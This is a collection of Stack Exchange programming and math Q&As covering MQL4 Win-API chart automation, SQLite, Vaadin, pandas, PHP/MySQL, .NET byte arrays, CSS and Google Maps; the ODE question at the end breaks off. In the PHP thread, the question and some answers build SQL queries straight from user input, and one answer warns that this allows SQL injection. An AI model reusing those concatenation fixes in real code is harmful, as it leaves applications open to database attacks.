text:
Q: Open an offline chart in MQL4 using [user32.dll] and [kernel32.dll] Win-API calls I have the following code to open an offline chart in metatrader 4.
But all I could get it to do is open the offline file list. I am not
very familiar with windows programming so can someone tell me what am I doing wrong ?
#import "user32.dll"
  int PostMessageA(       int hWnd, int Msg, int wParam, int lParam );
  int SendMessageA(       int hWnd, int Msg, int wParam, int lParam );
  int GetAncestor(        int hWnd, int gaFlags );
  int GetLastActivePopup( int hWnd );
  int GetDlgItem(         int hDlg, int nIDDlgItem );
#import

#import "kernel32.dll"
  int  FindFirstFileA(    string Path, int& Answer[] );
  bool FindNextFileA(     int handle,  int& Answer[] );
  bool FindClose(         int handle );
#import

#define WM_COMMAND 0x0111
#define WM_KEYDOWN 0x0100
#define VK_DOWN      0x28
#define BM_CLICK   0x00F5
#define GA_ROOT         2
#define PAUSE         100

string BuffToString( int& Buffer[] )
{
  string Str = "";
  int    Pos = 11;

  while ( Pos < 75 ) {
     while ( Buffer[Pos] != 0 ) {
             Str          = Str + CharToStr( Buffer[Pos] & 0xFF );
             Buffer[Pos] /= 0x100;
     }
     Pos++;
  }

  return( Str );
}

int GetChartPos( string FileName )
{
  int Buffer[79];
  int Pos    = 0;
  int handle = FindFirstFileA( TerminalPath() + "\history\\"  + AccountServer() + "\\*.hst", Buffer );

  if ( BuffToString( Buffer ) != FileName ) {
       Pos++;

       while ( FindNextFileA( handle, Buffer ) ) {
               if ( BuffToString( Buffer ) == FileName )
                    break;
               Pos++;
       }
  }
  if ( handle > 0 )
       FindClose( handle );
  return( Pos );
}

int OpenOfflineList()
{
  int hwnd = WindowHandle( Symbol(), Period() );

  hwnd     = GetAncestor( hwnd, GA_ROOT );
  SendMessageA( hwnd, WM_COMMAND, 33053, 0 );
  Sleep( PAUSE );
  hwnd     = GetLastActivePopup( hwnd );
  return( hwnd );
}

void OpenOfflineChartbyNum( int ChartPos )
{
  int hwnd1 = OpenOfflineList();
  int hwnd2 = GetDlgItem( hwnd1, 1 );

  hwnd1     = GetDlgItem( hwnd1, 0x487 );
  while ( ChartPos >= 0 ) {
    SendMessageA( hwnd1, WM_KEYDOWN, VK_DOWN, 0 );
    ChartPos--;
  }
  Sleep( PAUSE );
  SendMessageA( hwnd2, BM_CLICK, 0, 0 );
  return;
}

void OpenOfflineChart( string Symb, int period )
{
  OpenOfflineChartbyNum( GetChartPos( Symb + period + ".hst" ) );
  return;
}

int init()
{
  OpenOfflineChart( "AUDUSD", 120 );
  return;
}

A: I'm not an expert in WinApi and the question is obviously old, but it is still relevant. So the problem is that you use FindFirstFileA(), which uses ANSI strings, but after 600 release MT4 uses Unicode, so you need to use FindFirstFileW() instead. Also, instead of SendMessage() you should use PostMessage() (pls don't ask me why). So here is the working code:
#import "user32.dll"
  int PostMessageA(       int hWnd, int Msg, int wParam, int lParam );
  int SendMessageA(       int hWnd, int Msg, int wParam, int lParam );
  int GetAncestor(        int hWnd, int gaFlags );
  int GetLastActivePopup( int hWnd );
  int GetDlgItem(         int hDlg, int nIDDlgItem );
#import

#import "kernel32.dll"
   int  FindFirstFileW( string Path, ushort &Answer[] );
   bool FindNextFileW(  int handle,  ushort &Answer[] );
   bool FindClose(      int handle );
#import

#define WM_COMMAND 0x0111
#define WM_KEYDOWN 0x0100
#define VK_DOWN      0x28
#define BM_CLICK   0x00F5
#define GA_ROOT         2
#define PAUSE         100

string BuffToString( int& Buffer[] )
{
  string Str = "";
  int    Pos = 11;

  while ( Pos < 75 ) {
     while ( Buffer[Pos] != 0 ) {
             Str          = Str + CharToStr( Buffer[Pos] & 0xFF );
             Buffer[Pos] /= 0x100;
     }
     Pos++;
  }

  return( Str );
}

int GetChartPos( string FileName )
  {
   ushort Buffer[300];
   int Pos=-1;
   string path = TerminalInfoString( TERMINAL_DATA_PATH ) + "\\history\\" + AccountInfoString( ACCOUNT_SERVER ) + "\\*.hst";
   int handle  = FindFirstFileW( path, Buffer );
   string name = ShortArrayToString( Buffer, 22, 152 );
   Pos++;
   if(name!=FileName)
     {
      ArrayInitialize(Buffer,0);
      while(FindNextFileW(handle,Buffer))
        {
         name=ShortArrayToString(Buffer,22,152);
         Pos++;
         if(name==FileName)
           {
            break;
           }
         ArrayInitialize(Buffer,0);
        }
     }

   if(handle>0)
      FindClose(handle);

   return(Pos);
  }

int OpenOfflineList()
{
  int hwnd = WindowHandle( Symbol(), Period() );

  hwnd     = GetAncestor( hwnd, GA_ROOT );
  PostMessageA( hwnd, WM_COMMAND, 33053, 0 );
  Sleep( PAUSE );
  hwnd     = GetLastActivePopup( hwnd );
  return( hwnd );
}

void OpenOfflineChartbyNum( int ChartPos )
{
  int hwnd1 = OpenOfflineList();
  int hwnd2 = GetDlgItem( hwnd1, 1 );

  hwnd1     = GetDlgItem( hwnd1, 0x487 );
  while ( ChartPos >= 0 ) {
    PostMessageA( hwnd1, WM_KEYDOWN, VK_DOWN, 0 );
    ChartPos--;
  }
  Sleep( PAUSE );
  PostMessageA( hwnd2, BM_CLICK, 0, 0 );
  return;
}

void OpenOfflineChart( string Symb, int period )
{
  OpenOfflineChartbyNum( GetChartPos( Symb + period + ".hst" ) );
  return;
}

int init()
{
  OpenOfflineChart( "AUDUSD", 120 );
  return;
}

But now ( Build 970+ ) it is much simpler to go with  ChartOpen( "AUDUSD", 2 ); So, if you don't use custom names for symbols, you can replace all that with just one line of code.


text:
Q: Create/Update SQLite database from json file I'm currently working on an app that maintains a database on device that can be updated via Retrofit at a later date but I'm trying to design a solution that would allow me to cache the current database to put on device when publishing.
Currently this is what happens:

*

*Sqlite database is manually created by hand

*Sqlite database is put into assets folder in app

*App is run, and database is converted to local database through SQLiteOpenHelper/SQLiteAssetHelper

*At a later date, the device syncs with the back-end, grabbing a JSON file and manually updating the newly created database.
I'm trying to replace the first step with something more automated.
Is there a way, say I can create a Gradle task that would call my 'sync' code, grab that JSON, and some way to convert it to a Sqlite database to store within the assets folder?
Or perhaps a way to instead use the JSON directly when building the local database in step 3?
I would rather stay away from any other programs just to keep the project simple to use/update.
Thanks.

A: If you dont need to cache data page by page( it's mean ur local db save all data from server, and u just need to save current data) just save JSON as String, and on start, parse it again to show offline data, after that, fletch new data if connection is available.

A: I think you can go with creating the database directly using a JSON file. You can define a JSON file with multiple nodes each corresponding to a version of your database where every node contains all your DDL commands corresponding to that version of your database.
{
  "patches": [
    {
      "version": 1,
      "commands": [
        "CREATE TABLE User ...",
        "CREATE TABLE Login ..."
      ]
    },
    {
      "version": 2,
      "commands": [
        "ALTER TABLE User ...",
        "DROP TABLE Login ..."
      ]
    }
  ]
}

This way you would only need to maintain a single JSON file and update that file for every update you publish for your app. If someone installs your app for the first time then all the DDL commands in your JSON file will be executed, otherwise only those commands will be executed that are corresponding to a higher database version than what is already present in the app before the update.
You would also have to update the onCreate and onUpgrade methods of your SQLiteOpenHelper. onCreate method will go through the entire json file and execute all the DDL commands in order(based on version). While onUpgrade will only execute the DDL commands under the nodes that have a higher database version.
@Override
public void onUpgrade(SQLiteDatabase sqLiteDatabase, int oldVersion, int newVersion) {
    List<Patch> patches = parseJson(); // Parse the JSON file and get the patches
    for (Patch patch : patches) {
        int databaseVersion = patch.getVersion();
        if (databaseVersion > oldVersion && databaseVersion <= newVersion) {
            for (String command : patch.getCommands()) {
                database.execSQL(command);
            }
        }
    }
}

A: If your JSON tree structure will not change often, you can make a PoJo for it with a tool such as jsonschema2pojo. And convert instances using Gson.
You can store this PoJo using Google's new library: Room Persistence Library.
It can save the PoJo for you (You'll need to annotate it with @Entity) in sqlite database, and it can update you on changes in the database.
For more details you can watch the Google I/O presentations.

redpajama_set_name: RedPajamaStackExchange


text:
Q: How to let user download zip file using vaadin file downloader I've followed this topic and it perfectly works. Here's the function to create resource for file downloader
 private StreamResource createResource() {
    return new StreamResource(new StreamSource() {
        @Override
        public InputStream getStream() {
            String text = "My image";

            BufferedImage bi = new BufferedImage(100, 30, BufferedImage.TYPE_3BYTE_BGR);
            bi.getGraphics().drawChars(text.toCharArray(), 0, text.length(), 10, 20);

            try {
                ByteArrayOutputStream bos = new ByteArrayOutputStream();
                ImageIO.write(bi, "png", bos);
                return new ByteArrayInputStream(bos.toByteArray());
            } catch (IOException e) {
                e.printStackTrace();
                return null;
            }

        }
    }, "myImage.png");
}

but i don't know how to make it create a resource of zip file. Do i need to create many resources?. Thank you

A: Here's the solution that i figured out myself
private StreamResource createZipResource()
{
    return new StreamResource(new StreamSource()
    {
        @Override
        public InputStream getStream()
        {
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

            try
            {
                ZipOutputStream out = new ZipOutputStream(byteArrayOutputStream);

                for (int i = 0; i < listData.size(); i++)
                {
                    if (listData.get(i).contains(".txt"))
                    {
                        out.putNextEntry(new ZipEntry(listData.get(i) + ".txt"));
                    }
                    else
                    {
                        out.write(listData.get(i).getBytes());
                    }
                }
                out.close();
                return new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
            }
            catch (IOException e)
            {
                System.out.println("Problem writing ZIP file: " + e);
            }
            return null;
        }
    },"Filename.zip");
}


text:
Q: Selecting multiple values with partial multiindex I have 2 dataframes.
df1 has a multi index of A, B, C and D.
df2 has a multi index of A, B and C.
I want to select from df1 all the rows whose index appear in df2.
For example, if df2 contains a row with index A=1, B=1, C=1, I want to get all the rows from df1 with those values regardless of the value of D.
I tried doing df1[df2.index] and df1.loc[df2.index] but it does not work. I get "{ValueError}operands could not be broadcast together with shapes (13838,3) (4,) (13838,3) " (where 13838 is the length of df2).

A: You can try use isin to check
df1 = df1[df1.reset_index(level=[3]).index.isin(df2.index)]


text:
Q: Sharepoint list If formula I have a column that needs to return the value of another column based on if the value in a third column = S

A: You simply need to use IF statements: http://msdn.microsoft.com/en-us/library/bb862071.aspx
For example:
=IF([Column1]<=[Column2], "OK", "Not OK")

A: In addition to John's answer which seems best,
You can attach a Item Adding event to your list or you may able to use calculated columns.
Here's the code to give you an idea,
public override void ItemAdding(SPItemEventProperties properties)
{
    try
    {
        string newFieldValue = GetNewFieldValue();
        object oldFieldValue = properties.AfterProperties[COLUMN_NAME];
        if (oldFieldValue == null || oldFieldValue.ToString() != newFieldValue)
        {
            properties.AfterProperties[COLUMN_NAME] = newFieldValue;
        }
    }
    catch
    {
        //Log the error, or take another appropriate action.
    }
    finally
    {
        base.ItemAdding(properties);
    }
}


text:
Q: PHP & MySQL - not inserting into database I've got an problem in my code. The insert is not working. The code is below.
HTML:
<form action="staff.php" method="post" class="center" enctype="multipart/form-data" autocomplete="off">
    <input type="hidden" name="size" value="1000000">
    <input type="text" placeholder="headline of the news" name="title">
    <input type="file" accept="image/*" name="image">
    <select name="side" value="side">
        <option>Left</option>
        <option>Header</option>
        <option>Main</option>
        <option>Ending</option>
    </select>
    <textarea name="desc" id="description" cols="30" rows="10" placeholder="full news" name="desc"></textarea>
    <input type="submit" name="go" value="Post">
</form>

PHP:
<?php
$db = mysqli_connect("DB SERVER", "DB USER", "DB PASS", "DataBase");
$charset = mysqli_set_charset($db,"utf8");
$msg = "";
if (isset($_POST['go'])) {
    $target = "images/".basename($_FILES['image']['name']);
    $title = $_POST['title'];
    $image = $_FILES['image']['name'];
    $side = $_POST['side'];
    $desc = $_POST['desc'];
    $sql = "INSERT INTO contents (title, image, side, description)
    VALUES ('$title', '$image', '$side', '$desc')";
    $result = mysqli_query($db, $sql);
    if (move_uploaded_file($_FILES['image']['tmp_name'], $target)) {
        $msg = "
Image uploaded successfully
";
    } else {
        $msg = "
There was a problem uploading the image
";
    }
}
?>

Everything is fine except the inserting into database.

A: add concatenation in the query like this
$sql = "INSERT INTO contents (title, image, side, description)
        VALUES ('".$title."', '".$image."', '".$side."', '".$desc."')";

A: Your query is fine, it should work.
But you're allowing SQL injections, so if you send within parameter single quotes your query will not work as expected and will throw out an error...
You should first:

*

*clear passed strings (use mysqli_real_escape_string), http://php.net/manual/en/mysqli.real-escape-string.php

*Check if mysqli_query executed if not then use mysqli_error to find out what error caused your query to not work: http://php.net/manual/en/mysqli.error.php

A: Use as
<?php
$db = mysqli_connect("DB SERVER", "DB USER", "DB PASS", "DataBase") or die(mysqli_error("Could not connect to Database"));
mysqli_query($db,"SET NAMES 'utf8'");
$msg = "";
if (isset($_POST['go'])) {
    $target = "images/".basename($_FILES['image']['name']);

    $title = mysqli_real_escape_string($db,$_POST['title']);
    $image = mysqli_real_escape_string($db,$_FILES['image']['name']);
    $side = mysqli_real_escape_string($db,$_POST['side']);
    $desc = mysqli_real_escape_string($db,$_POST['desc']);
    $sql = "INSERT INTO contents (title, image, side, description)
    VALUES ('$title', '$image', '$side', '$desc')";
    $result = mysqli_query($db,$sql) or die(mysqli_error($db));
    if (move_uploaded_file($_FILES['image']['tmp_name'], $target)) {
       $msg = "
Image uploaded successfully
";
    }else{
       $msg = "
There was a problem uploading the image
";
    }
}
?>

A: $sql = "INSERT INTO contents VALUES ('".$title."', '".$image."', '".$side."', '".$desc."')";
This could be a shorter way.

A: $sql = "INSERT INTO contents (title, image, side, description) VALUES ('".$title."', '".$image."', '".$side."', '".$desc."')";

The problem is here use this.


text:
Q: Update/Replace data without form in codeigniter Please help how to update data in a database table without input form. I want to make the value on table become "0". I have created a controller:
function reset(){
    $data = array(
        'nomor_antrian' => '0',
        'jumlah_pengantri'  => '0'
    );

    $this->db->replace('antrian', $data);
}

The model :
function reset($id) {
        $data = array(
            'nomor_antrian'=>'0',
            'jumlah_pengantri'=>'0'
        );
        $this->db->set($data);
        $this->db->where('nomor_loket', $id);
        $this->db->update('antrian');
    }

and this is the link button in the view section :
<a href="<?php echo base_url('home/reset'); ?>">Reset

Thanks before.

A: You have to send $id to update record
Model code
function reset($id){
    $data = array(
        'nomor_antrian' => '0',
        'jumlah_pengantri' => '0'
    );
    $this->db->set($data);
    $this->db->where('nomor_loket', $id);
    $this->db->update('antrian');
}

Reset link will be as follow
<a href="<?php echo base_url('home/reset/'.$id); ?>">Reset //$id is a parameter

Pass parameter to reset() function


text:
Q: .NET MVC deserialize byte array from JSON Uint8Array I'm using js-scrypt (https://github.com/tonyg/js-scrypt) on my client-side web application to hash and salt passwords before posting them to my server-side .NET MVC application to be hashed and salted again. This JavaScript library implements byte arrays as JavaScript Uint8Arrays. How do I get my MVC Controller to deserialize my JSON Uint8Array to a byte[]?
JavaScript Example: (AJAX.Post is a library I wrote, myUint8Array serializes properly)
AJAX.Post('www.example.com/SendByteArray', { myByteArray: myUint8Array }, Callback);

C# Example: (In my default controller)
[HttpPost]
public async Task<JsonResult> SendByteArray(byte[] myByteArray) {

}

In this example myByteArray is always null. I've tried a couple different approaches based on converting to strings and then back to a byte[] but I haven't been able to get the correct value. It would be greatly preferred if I could somehow implement the code into .NET's JSON deserializer directly so that the code above works exactly as is, because I have a few other projects where I could do some cool things if I could pass byte arrays directly between the server-side and client-side applications.

A: For now the only method I could get to work was to base64 encode the Uint8Array, capture it as a string in C#, and then convert that string to a byte[].
JavaScript:
AJAX.Post('www.example.com/SendByteArray', { strByteArray: btoa(String.fromCharCode.apply(null, myUint8Array)) }, Callback);

C#:
[HttpPost]
public async Task<JsonResult> SendByteArray(string strByteArray) {
    byte[] myByteArray = Convert.FromBase64String(strByteArray);
}

A: I faced the same issue and after lot of R&D. I came to few conclusions.
Approach 1:
C# cannot deserialize javascript types arrays(UInt8Array, UInt16Array etc.). The data should be copied in to normal java script array from typed array and that data should be sent. At the receiving end (C# endpoint method) the parameter should be integer array instead of byte array. If byte array is placed, data received as null at the end point. Received integer array should be converted to byte array for file recovery.
Approach 2:
Another option to send typed array data instead of copying javascript typed array data into normal array is to send the typed array data as it is and at the receiving end (C# endpoint method), the method parameter should object. This object should be iterated using some linq and should be converted to byte array for file recovery.
Both are approaches discovered above are very slow according to me. When I am sending 3 files each of 5MB size, my browser (IE 10 browser) memory consumption increased exponentially while sending the data through Ajax request. I am still not able to figure out the issue. If someone is able to send byte array using Ajax please let me know.
Approach 3:
Third approach is to convert the byte array to base64 encoded string and send it. Though this increases the file size by 33% this approach is far better than above two. I am able to send 15 MB file easily and memory consumption of browser is aroung 80MB while sending this 3 files and consumption become less once the files are sent.
Important: Please deallocate memory of the variable after reading the file content. Garbage collection in IE is not that good. I faced a lot of issues with memory consumption after reading file using fileReader. Deallocate all the unused variable and byte array content of the file when they are no longer needed.
Please let me know if am wrong.

A: I wasn't able to change server side's, so I needed to keep the byte[] type on server's endpoint. In order to solve this I ended up transforming my Uint8Array to a simple array of bytes, which JSON parses as an array instead of an object.
            const byteArray = [];
            Object.keys(contentUint8Array).forEach((key) =>{
                const byteForKey = contentUint8Array[key];
                byteArray.push(byteForKey);
            });

This way .Net endpoint was able to deserialize to a Byte array.

A: I used the following code for uploading large files in chunks from Angular 5 to ASP Core Web API.
On the client side - converting ArrayBuffer to Base64String:
private arrayBufferToBase64String(buffer: ArrayBuffer) {
  let binaryString = ''
  var bytes = new Uint8Array(buffer);
  for (var i = 0; i < bytes.byteLength; i++) {
    binaryString += String.fromCharCode(bytes[i]);
  }

  return window.btoa(binaryString);
}

Posting the string (this is the Angular 2+ version):
var data = {
  data: this.arrayBufferToBase64String(arrayBuffer)
}

this.httpClient.post(url, data)

On the server (C#):
var bytes = Convert.FromBase64String(part.Data);

part is a model class:
public class FilePartModel
{
    public string Data { get; set; }
}

A: Change your controller action to accept an int[] instead of byte[], then convert to a byte array. The post value can still be a JSON array.
[HttpPost]
public async Task<JsonResult> SendByteArray(int[] myByteArray) {

     byte[] theBytes = myByteArray.Select(i => (byte)i).ToArray();

     // Or any one of a dozen other ways of converting it

}

In order to post to a byte array, you'd have to base-64 encode the bytes on the client, and pass it in as a string.
There may be an alternative, like a filter or attribute or something like that, but this is the easiest way I know of.

A: you must Use Jason.stringify To Serialize it And set Some Attribute of ajax .This is Example That I Use And It Works
            var list = [];

           //Fill list array

            var parameters = {};
            parameters = JSON.stringify({ "Your parameter": list });
            jQuery.ajax({
                url: '@Url.Action("Your Action")';,
                type: 'POST',
                contentType: 'application/json; charset=utf-8',
                dataType: "html",
                traditional: true,
                data: parameters,
                success: function (data, textStatus, jqXHR) {
                   //TODO: on success
                },
                error: function (data) {
                       //TODO: on fail
                }
            });

    [HttpPost]
    public async Task<JsonResult> SendByteArray(IEnumerable<byte> myByteArray) {

    }

     OR Do this Way

    [HttpPost]
    public async Task<JsonResult> SendByteArray(int[] myByteArray) {
      convert to byte here
    }

A: Building on the solution of user1084447 (serializing and deserializing to a base64 string), this works pretty good for serialization:
var serialized = fromByteArray(myUint8Array);

Where the fromeByteArray function comes from this github project.  I learned about the base64-js from this documentation on mdn.


text:
Q: Angled bottom border - full width I'd like to know how to create a div 100% width and say 300px wide where the bottom border is slightly angled across the full width of the box.

It can be done in either CSS or javascript but it needs to be responsive. I've seen examples of using borders but if I'm honest I don't fully understand using borders for super whizzy shapes.

A: What you're looking for is something like this :

We want to specify that we want to use the border as the main drawing feature.
We want the bottom left border to be transparent.
Then if we apply a reasonable height to it, we see it gets close to your image..
.box {
    border-right: 300px solid red;
    border-bottom: 10px solid transparent;
    height:100px;

}

This then is a drawing of purely borders, stretched and sized so much they look solid.
JSFiddle
Making it responsive is a little more tricky as borders are not supported with percentage values.
You will always have a maximux border size set in a fixed value.
In our case we will use 300 px as previously, so our .box class becomes like so :
.box {
    border-right: 300px solid red;
    border-bottom: 10px solid transparent;
    height:100px;
    width:100%;
    right:0px;
    float:right;
}

We are going to pull right, so that the solid looking image will actually float left.
We will then add a wrapper which will have an overflow of hidden, so even though the border-image will not change size, the overflow will make it seem as it is.
.box_wrapper{
    width:100px;
    overflow:hidden;
    left:0px;
}

Our HTML gains a wrapper :

And the result is something of a responsive workaround!
JSFiddle 2
If you update the .box_wrapper size in the fiddle, the bordered box will look like it's adjusting its width.
Note: There may be a much better way to achieve this!


text:
Q: Contacting an eminent mathematician I have recently started a PhD. and am researching an area that two now eminent mathematicians devoted considerable time to in the 1980s. However, there appears to have been fairly moderate focus on this research area in the intervening years, and I have a question regarding one of the papers published by these authors nearly 25 years ago that nobody I have talked to has been able to answer.
My question is, what is the etiquette regarding contacting the author of a journal article? Obviously one would only contact them regarding issues when all other channels had been exhausted, but in such circumstances or any other, is contact justified, or is it regarded by authors as a nuisance - as the question to them may well seem trivial in nature?
If anybody is able to shed any light into the issue of when they would feel comfortable (as a PhD. student) contacting an author, it would be very greatly appreciated.

A: Let me separate your question into two parts, and note that some good advise is already given in the comments to your questions.
First, you are concerned with the status issues and the age issues (student vs. professor, recent work vs. old classical papers, etc.)  I think math is pretty egalitarian, so the status issue should not be an obstacle.  The reality may be different, but often it's not an ethical issue - some senior faculty tend to be busier than grad students...   Similarly, to a lesser extent, math is timeless.  Unless the older work has been subsumed/trivialized by later far-reaching developments, I don't see this as an ethical obstacle either.  Of course, some people retire, leave the area or mathematics altogether, die, join NSA, or stop communicating with the outside world, but that's just life.
Second, perhaps the more interesting part of your question is whether it is ethical to ask a clarification of some argument, complete proof of the lemma, etc.  While others might emphatically say "yes", I think this is less clear.  As with food or diet, I think this is good in moderation, but bad in large amounts, and the line is really easy to cross, and when that happens it's unpleasant for everyone involved.
To make another imperfect analogy, let's compare math papers with children.  While the parents are of course completely responsible for their behavior when they are very young, as they move into adulthood this is less clear and eventually not true.  While the line in this case is hard to draw (it varies in different countries and cultures), when it comes to papers there is a clear line: the publication date.  In my opinion, while the paper is in the preprint form, the default position is that the author is responsible for all that's in the paper, as it undergoes public scrutiny. She/he really should answer and explain unclear/difficult points, unless there are compelling reasons not to do that (say, a followup paper with a better exposition).  But after the publication date, it seems the author may answer only if he/she wishes to, and the default position is that "somebody studied the paper and agreed with eveyrthing in it".  I know, life is more complicated, the authors and referees make mistakes, etc. but that's life again.  My point is that you should not get upset if the author refuses to comment on a published paper.

A: While I was an undergraduate I once asked Gilles Pisier about an "obvious" proof in one of his articles (I plainly wrote: "Dr. Pisier, how did you get this?"), and he very kindly provided it. He even tried to answer me in Spanish!

A: The answers to this question are probably useful:
When and how is it appropriate for an undergraduate to email a professor out of the blue?


text:
Q: How to add new markers and calculate the new route I have a map with a route that contains a series of waypoints. I would like to be able to add new markers by clicking on the map, and to automatically calculate the route with the previous and new markers, taking into account the settings of optimizeWaypoints: true.
I've tried but I don't understand how to do it.
Anyone know how to do this?

     function initMap() {
        var map = new google.maps.Map(document.getElementById('map'), {
          zoom: 4,
          center: {lat: -32.949798, lng: -60.681911}
        });

        var directionsService = new google.maps.DirectionsService;
        var directionsRenderer = new google.maps.DirectionsRenderer({
          draggable: true,
          map: map,
          panel: document.getElementById('right-panel')
        });

        directionsRenderer.addListener('directions_changed', function() {
          computeTotalDistance(directionsRenderer.getDirections());
        });

       google.maps.event.addListener(map, 'click', function(event) {
           placeMarker(event.latLng);
       });

        function placeMarker(location) {
            var marker = new google.maps.Marker({
                position: location,
                map: map
            });
        }

        displayRoute(new google.maps.LatLng(-32.949798, -60.681911), new google.maps.LatLng(-32.949798, -60.681911), directionsService,
            directionsRenderer);
      }

      function displayRoute(origin, destination, service, display) {
        service.route({
          origin: origin,
          destination: destination,
          waypoints: [{location: new google.maps.LatLng(-32.930572, -60.662137)},
                      {location: new google.maps.LatLng(-32.923554, -60.665930)},
                      {location: new google.maps.LatLng(-32.936270, -60.652841
)},],
          optimizeWaypoints: true,
          travelMode: 'DRIVING',
          avoidTolls: true,
          avoidHighways: true
        }, function(response, status) {
          if (status === 'OK') {
            display.setDirections(response);
          } else {
            alert('Could not display directions due to: ' + status);
          }
        });
      }

      function computeTotalDistance(result) {
        var totalDistance = 0;
        var totalDuration = 0;
        var minutes = 0;
        var hours = 0;
        var myroute = result.routes[0];
        for (var i = 0; i < myroute.legs.length; i++) {
          totalDistance += myroute.legs[i].distance.value;
          totalDuration += myroute.legs[i].duration.value;
        }
        totalDistance = totalDistance / 1000;

        var hours = Math.floor( totalDuration / 3600 );
        var minutes = Math.floor( (totalDuration % 3600) / 60 );
        var seconds = totalDuration % 60;

        hours = hours < 10 ? '0' + hours : hours;
        minutes = minutes < 10 ? '0' + minutes : minutes;
        seconds = seconds < 10 ? '0' + seconds : seconds;
        if(hours == 0) {
          var result = minutes + " min";
        } else {
          var result = hours + ':' + minutes + " hs";
        }

        document.getElementById('total_distance').innerHTML = totalDistance.toFixed(2) + ' km ';
        document.getElementById('total_duration').innerHTML = result;
      }
      #right-panel {
        font-family: 'Roboto','sans-serif';
        line-height: 30px;
        padding-left: 10px;
      }

      #right-panel select, #right-panel input {
        font-size: 15px;
      }

      #right-panel select {
        width: 100%;
      }

      #right-panel i {
        font-size: 12px;
      }
      html, body {
        height: 100%;
        margin: 0;
        padding: 0;
      }
      #map {
        height: 100%;
        float: left;
        width: 63%;
        height: 100%;
      }
      #right-panel {
        float: right;
        width: 34%;
        height: 100%;
      }
      .panel {
        height: 100%;
        overflow: auto;
      }
<!DOCTYPE html>

    <meta name="viewport" content="initial-scale=1.0, user-scalable=no">
    <meta charset="utf-8">
    <title>Direcciones</title>

Distance:

Duration:

A: *

*When you click on the map, add the location of the click to an array of "added waypoints".

var addedWaypoints = [];

function addWaypoint(latLng) {
  addedWaypoints.push(latLng);
}

*Call the directions service again, adding the new waypoints in to the request.

google.maps.event.addListener(map, 'click', function(event) {
  addWaypoint(event.latLng);
  displayRoute(start, end, directionsService, directionsRenderer);
});

function displayRoute(origin, destination, service, display) {
  var waypoints = [
    {location: new google.maps.LatLng(-32.930572, -60.662137)},
    {location: new google.maps.LatLng(-32.923554, -60.665930)},
    {location: new google.maps.LatLng(-32.936270, -60.652841)}
  ];
  for (var i=0; i<addedWaypoints.length;i++) {
    waypoints.push({
      location: addedWaypoints[i]
    });
  }
  service.route({
    origin: origin,
    destination: destination,
    waypoints: waypoints,
    optimizeWaypoints: true,
    travelMode: 'DRIVING',
    avoidTolls: true,
    avoidHighways: true
  }, function(response, status) {
    if (status === 'OK') {
      display.setDirections(response);
    } else {
      alert('Could not display directions due to: ' + status);
    }
  });
}

proof of concept fiddle

function initMap() {
  var map = new google.maps.Map(document.getElementById('map'), {
    zoom: 4,
    center: {
      lat: -32.949798,
      lng: -60.681911
    }
  });

  var directionsService = new google.maps.DirectionsService();
  var directionsRenderer = new google.maps.DirectionsRenderer({
    draggable: true,
    map: map,
    panel: document.getElementById('right-panel')
  });

  directionsRenderer.addListener('directions_changed', function() {
    computeTotalDistance(directionsRenderer.getDirections());
  });
  var start = new google.maps.LatLng(-32.949798, -60.681911);
  var end = new google.maps.LatLng(-32.949798, -60.681911);

  google.maps.event.addListener(map, 'click', function(event) {
    // placeMarker(event.latLng);
    addWaypoint(event.latLng);
    displayRoute(start, end, directionsService, directionsRenderer);
  });

  function placeMarker(location) {
    var marker = new google.maps.Marker({
      position: location,
      map: map
    });
  }

  displayRoute(start, end, directionsService, directionsRenderer);
}

function displayRoute(origin, destination, service, display) {
  var waypoints = [{
      location: new google.maps.LatLng(-32.930572, -60.662137)
    },
    {
      location: new google.maps.LatLng(-32.923554, -60.665930)
    },
    {
      location: new google.maps.LatLng(-32.936270, -60.652841)
    },
  ];
  for (var i=0; i<addedWaypoints.length;i++) {
    waypoints.push({
      location: addedWaypoints[i]
    });
  }
  var wayptsStr = "";
  for (var i=0; i<waypoints.length; i++) {
     wayptsStr += waypoints[i].location.toUrlValue(6)+",";
  }
  console.log("displayRoute: origin="+origin.toUrlValue(6)+" dest="+destination.toUrlValue(6)+" waypoints="+wayptsStr);
  service.route({
    origin: origin,
    destination: destination,
    waypoints: waypoints,
    optimizeWaypoints: true,
    travelMode: 'DRIVING',
    avoidTolls: true,
    avoidHighways: true
  }, function(response, status) {
    if (status === 'OK') {
      display.setDirections(response);
    } else {
      alert('Could not display directions due to: ' + status);
    }
  });
}
var addedWaypoints = [];

function addWaypoint(latLng) {
  addedWaypoints.push(latLng);
}

function computeTotalDistance(result) {
  var totalDistance = 0;
  var totalDuration = 0;
  var minutes = 0;
  var hours = 0;
  var myroute = result.routes[0];
  for (var i = 0; i < myroute.legs.length; i++) {
    totalDistance += myroute.legs[i].distance.value;
    totalDuration += myroute.legs[i].duration.value;
  }
  totalDistance = totalDistance / 1000;

  var hours = Math.floor(totalDuration / 3600);
  var minutes = Math.floor((totalDuration % 3600) / 60);
  var seconds = totalDuration % 60;

  hours = hours < 10 ? '0' + hours : hours;
  minutes = minutes < 10 ? '0' + minutes : minutes;
  seconds = seconds < 10 ? '0' + seconds : seconds;
  if (hours == 0) {
    var result = minutes + " min";
  } else {
    var result = hours + ':' + minutes + " hs";
  }

  document.getElementById('total_distance').innerHTML = totalDistance.toFixed(2) + ' km ';
  document.getElementById('total_duration').innerHTML = result;
}
#right-panel {
        font-family: 'Roboto','sans-serif';
        line-height: 30px;
        padding-left: 10px;
      }

      #right-panel select, #right-panel input {
        font-size: 15px;
      }

      #right-panel select {
        width: 100%;
      }

      #right-panel i {
        font-size: 12px;
      }
      html, body {
        height: 100%;
        margin: 0;
        padding: 0;
      }
      #map {
        height: 100%;
        float: left;
        width: 63%;
        height: 100%;
      }
      #right-panel {
        float: right;
        width: 34%;
        height: 100%;
      }
      .panel {
        height: 100%;
        overflow: auto;
      }

Distance:

Duration:


text:
Q: How to show a solution to an ODE system doesn't exist
Show that each solution $(x(t), y(t))$ of the initial value problem
  $$
\left\{\begin{array}{cc}x' =&x^2+y \\ y' =&y^2+x \end{array}\right.\qquad
\left\{\begin{array}{cc}x(0) =&x_0 \\ y(0) =&y_0 \end{array}\right.
$$
  with $x_0>0$ and $y_0>0$ cannot exist on an interval of the form $[0,\infty)$.

I have been learning about different theorems to show existence but I am not sure how I would show this DNE. I put it into matlab using this code and got no solutions but is there a way to show this algebraically or some other way?
syms x(t) y(t) x0 y0

ode1 = diff(x) == x^2+y;
ode2 = diff(y) == y^2+x;
